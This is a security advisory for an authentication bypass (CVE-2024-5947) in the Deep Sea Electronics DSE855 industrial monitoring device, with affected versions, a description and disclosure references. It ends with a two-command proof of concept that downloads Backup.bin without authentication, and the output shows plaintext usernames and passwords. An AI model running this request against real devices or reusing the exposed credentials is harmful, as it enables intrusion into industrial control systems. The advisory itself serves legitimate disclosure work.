Deep Sea Electronics DSE855 Remote Authentication Bypass

`  
Deep Sea Electronics DSE855 Remote Authentication Bypass  
  
  
Vendor: Deep Sea Electronics plc  
Product web page: https://www.deepseaelectronics.com  
Affected version: Model: DSE855  
Software version: 1.0.26  
Module version: 1.0.78  
Bootloader version: 1.0.3  
Firmware version: 1.1.0  
  
Summary: The DSE855 communications device allows monitoring of a single  
DSE controller with USB connectivity over a LAN or WAN connection. To achieve  
this the DSE855 utilises its in-built web server or MODBUS TCP. In order  
to use over a LAN connection the on-site router must be configured to be  
accessible from any global location.  
  
Desc: The device is vulnerable to configuration disclosure when direct object  
reference is made to the Backup.bin file using an HTTP GET request. This will  
enable an attacker to disclose sensitive information and help her in authentication  
bypass, privilege escalation and full system access.  
  
Tested on: embOS/IP  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2024-5825  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5825.php  
ZDI ID: ZDI-24-671  
ZDI CAN: ZDI-CAN-22679  
ZDI URL: https://www.zerodayinitiative.com/advisories/ZDI-24-671/  
ZDI Title: (0Day) Deep Sea Electronics DSE855 Configuration Backup Missing Authentication Information Disclosure Vulnerability  
CVE ID: CVE-2024-5947  
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-5947  
  
  
10.11.2023  
  
--  
  
  
$ curl -s -O http://target/Backup.bin  
$ strings Backup.bin  
  
DSEB  
Admin  
Password1234  
Tech  
Password1234  
thricer  
scada  
rd1234  
lokna  
xela123  
DSE855  
`